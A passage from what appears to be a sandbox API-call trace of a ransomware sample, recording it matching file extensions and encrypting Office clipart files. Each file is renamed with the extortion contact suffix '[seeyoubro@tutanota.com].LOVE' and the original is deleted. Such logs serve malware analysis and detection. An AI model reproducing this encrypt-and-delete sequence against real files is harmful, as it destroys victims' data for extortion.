Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0220.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0220.974] lstrlenW (lpString=".doc") returned 4 [0220.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.975] lstrlenW (lpString=".docx") returned 5 [0220.975] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.975] lstrlenW (lpString=".pdf") returned 4 [0220.975] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.975] lstrlenW (lpString=".xls") returned 4 [0220.975] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.975] lstrlenW (lpString=".xlsx") returned 5 [0220.975] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.975] lstrlenW (lpString=".ppt") returned 4 [0220.975] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0220.975] lstrlenW (lpString=".zip") returned 4 [0220.975] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.975] lstrlenW (lpString=".rar") returned 4 [0220.975] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.975] lstrlenW (lpString=".bz2") returned 4 [0220.975] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.975] lstrlenW (lpString=".7z") returned 3 [0220.975] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0220.975] lstrlenW (lpString=".dbf") returned 4 [0220.975] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0220.975] lstrlenW (lpString=".1cd") returned 4 [0220.975] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0220.975] lstrlenW (lpString=".jpg") returned 4 [0220.975] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.976] GetLastError () returned 0x0 [0220.976] ReadFile (in: hFile=0x2cc, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xc38, lpOverlapped=0x0) returned 1 [0220.985] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xc40, lpOverlapped=0x0) returned 1 [0220.986] ReadFile (in: hFile=0x2cc, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.986] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.987] SetEndOfFile (hFile=0x358) returned 1 [0220.987] CloseHandle (hObject=0x358) returned 1 [0220.987] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.987] SetEndOfFile (hFile=0x2cc) returned 1 [0220.988] CloseHandle (hObject=0x2cc) returned 1 [0220.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.988] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 1 [0220.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0220.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0220.989] lstrlenW (lpString=".doc") returned 4 [0220.989] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.989] lstrlenW (lpString=".docx") returned 5 [0220.989] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.989] lstrlenW (lpString=".pdf") returned 4 [0220.989] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.989] lstrlenW (lpString=".xls") returned 4 [0220.989] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.989] lstrlenW (lpString=".xlsx") returned 5 [0220.989] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.989] lstrlenW (lpString=".ppt") returned 4 [0220.989] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0220.989] lstrlenW (lpString=".zip") returned 4 [0220.989] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.989] lstrlenW (lpString=".rar") returned 4 [0220.989] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.989] lstrlenW (lpString=".bz2") returned 4 [0220.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.990] lstrlenW (lpString=".7z") returned 3 [0220.990] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0220.990] lstrlenW (lpString=".dbf") returned 4 [0220.990] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0220.990] lstrlenW (lpString=".1cd") returned 4 [0220.990] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0220.990] lstrlenW (lpString=".jpg") returned 4 [0220.990] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.007] GetLastError () returned 0x0 [0221.007] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x816, lpOverlapped=0x0) returned 1 [0221.017] WriteFile (in: hFile=0x388, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x820, lpOverlapped=0x0) returned 1 [0221.020] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.020] WriteFile (in: hFile=0x388, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xe4, lpOverlapped=0x0) returned 1 [0221.020] SetEndOfFile (hFile=0x388) returned 1 [0221.021] CloseHandle (hObject=0x388) returned 1 [0221.022] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.022] SetEndOfFile (hFile=0x33c) returned 1 [0221.024] CloseHandle (hObject=0x33c) returned 1 [0221.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.024] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 1 [0221.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0221.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0221.025] lstrlenW (lpString=".doc") returned 4 [0221.025] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.025] lstrlenW (lpString=".docx") returned 5 [0221.025] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0221.025] lstrlenW (lpString=".pdf") returned 4 [0221.025] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.025] lstrlenW (lpString=".xls") returned 4 [0221.025] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.025] lstrlenW (lpString=".xlsx") returned 5 [0221.025] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0221.025] lstrlenW (lpString=".ppt") returned 4 [0221.025] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0221.025] lstrlenW (lpString=".zip") returned 4 [0221.025] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.025] lstrlenW (lpString=".rar") returned 4 [0221.025] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.025] lstrlenW (lpString=".bz2") returned 4 [0221.025] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.025] lstrlenW (lpString=".7z") returned 3 [0221.025] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0221.025] lstrlenW (lpString=".dbf") returned 4 [0221.025] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0221.025] lstrlenW (lpString=".1cd") returned 4 [0221.026] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0221.026] lstrlenW (lpString=".jpg") returned 4 [0221.026] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.026] GetLastError () returned 0x0 [0221.026] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x402, lpOverlapped=0x0) returned 1 [0221.038] WriteFile (in: hFile=0x37c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x410, lpOverlapped=0x0) returned 1 [0221.038] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.038] WriteFile (in: hFile=0x37c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.038] SetEndOfFile (hFile=0x37c) returned 1 [0221.038] CloseHandle (hObject=0x37c) returned 1 [0221.039] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.039] SetEndOfFile (hFile=0x33c) returned 1 [0221.039] CloseHandle (hObject=0x33c) returned 1 [0221.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 1 [0221.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0221.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0221.053] lstrlenW (lpString=".doc") returned 4 [0221.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.053] lstrlenW (lpString=".docx") returned 5 [0221.053] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.053] lstrlenW (lpString=".pdf") returned 4 [0221.053] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.053] lstrlenW (lpString=".xls") returned 4 [0221.053] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.053] lstrlenW (lpString=".xlsx") returned 5 [0221.053] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.053] lstrlenW (lpString=".ppt") returned 4 [0221.053] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0221.053] lstrlenW (lpString=".zip") returned 4 [0221.053] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.053] lstrlenW (lpString=".rar") returned 4 [0221.053] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.053] lstrlenW (lpString=".bz2") returned 4 [0221.053] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.053] lstrlenW (lpString=".7z") returned 3 [0221.053] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0221.053] lstrlenW (lpString=".dbf") returned 4 [0221.053] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0221.053] lstrlenW (lpString=".1cd") returned 4 [0221.053] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0221.054] lstrlenW (lpString=".jpg") returned 4 [0221.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.054] GetLastError () returned 0x0 [0221.054] ReadFile (in: hFile=0x380, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x5f8, lpOverlapped=0x0) returned 1 [0221.083] WriteFile (in: hFile=0x330, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x600, lpOverlapped=0x0) returned 1 [0221.084] ReadFile (in: hFile=0x380, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.084] WriteFile (in: hFile=0x330, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.084] SetEndOfFile (hFile=0x330) returned 1 [0221.084] CloseHandle (hObject=0x330) returned 1 [0221.084] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.084] SetEndOfFile (hFile=0x380) returned 1 [0221.085] CloseHandle (hObject=0x380) returned 1 [0221.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.085] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 1 [0221.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0221.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0221.086] lstrlenW (lpString=".doc") returned 4 [0221.086] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.086] lstrlenW (lpString=".docx") returned 5 [0221.086] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.086] lstrlenW (lpString=".pdf") returned 4 [0221.086] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.086] lstrlenW (lpString=".xls") returned 4 [0221.086] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.086] lstrlenW (lpString=".xlsx") returned 5 [0221.086] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.086] lstrlenW (lpString=".ppt") returned 4 [0221.086] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0221.086] lstrlenW (lpString=".zip") returned 4 [0221.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.086] lstrlenW (lpString=".rar") returned 4 [0221.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.086] lstrlenW (lpString=".bz2") returned 4 [0221.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.086] lstrlenW (lpString=".7z") returned 3 [0221.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0221.086] lstrlenW (lpString=".dbf") returned 4 [0221.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0221.086] lstrlenW (lpString=".1cd") returned 4 [0221.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0221.087] lstrlenW (lpString=".jpg") returned 4 [0221.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.088] GetLastError () returned 0x0 [0221.088] ReadFile (in: hFile=0x354, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x16a6, lpOverlapped=0x0) returned 1 [0221.116] WriteFile (in: hFile=0x388, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x16b0, lpOverlapped=0x0) returned 1 [0221.117] ReadFile (in: hFile=0x354, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.117] WriteFile (in: hFile=0x388, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.117] SetEndOfFile (hFile=0x388) returned 1 [0221.117] CloseHandle (hObject=0x388) returned 1 [0221.117] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.117] SetEndOfFile (hFile=0x354) returned 1 [0221.118] CloseHandle (hObject=0x354) returned 1 [0221.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 1 [0221.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0221.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0221.119] lstrlenW (lpString=".doc") returned 4 [0221.119] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.119] lstrlenW (lpString=".docx") returned 5 [0221.119] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.119] lstrlenW (lpString=".pdf") returned 4 [0221.119] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.119] lstrlenW (lpString=".xls") returned 4 [0221.119] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.119] lstrlenW (lpString=".xlsx") returned 5 [0221.119] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.119] lstrlenW (lpString=".ppt") returned 4 [0221.119] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0221.119] lstrlenW (lpString=".zip") returned 4 [0221.119] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.119] lstrlenW (lpString=".rar") returned 4 [0221.119] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.120] lstrlenW (lpString=".bz2") returned 4 [0221.120] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.120] lstrlenW (lpString=".7z") returned 3 [0221.120] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0221.120] lstrlenW (lpString=".dbf") returned 4 [0221.120] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0221.120] lstrlenW (lpString=".1cd") returned 4 [0221.120] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0221.120] lstrlenW (lpString=".jpg") returned 4 [0221.120] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.120] GetLastError () returned 0x0 [0221.120] ReadFile (in: hFile=0x354, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x578, lpOverlapped=0x0) returned 1 [0221.353] WriteFile (in: hFile=0x388, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x580, lpOverlapped=0x0) returned 1 [0221.354] ReadFile (in: hFile=0x354, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.354] WriteFile (in: hFile=0x388, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.354] SetEndOfFile (hFile=0x388) returned 1 [0221.355] CloseHandle (hObject=0x388) returned 1 [0221.355] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.355] SetEndOfFile (hFile=0x354) returned 1 [0221.355] CloseHandle (hObject=0x354) returned 1 [0221.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.356] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 1 [0221.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0221.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0221.356] lstrlenW (lpString=".doc") returned 4 [0221.356] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.356] lstrlenW (lpString=".docx") returned 5 [0221.356] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.356] lstrlenW (lpString=".pdf") returned 4 [0221.356] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.356] lstrlenW (lpString=".xls") returned 4 [0221.356] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.356] lstrlenW (lpString=".xlsx") returned 5 [0221.356] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.356] lstrlenW (lpString=".ppt") returned 4 [0221.356] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0221.356] lstrlenW (lpString=".zip") returned 4 [0221.357] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.357] lstrlenW (lpString=".rar") returned 4 [0221.357] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.357] lstrlenW (lpString=".bz2") returned 4 [0221.357] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.357] lstrlenW (lpString=".7z") returned 3 [0221.357] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 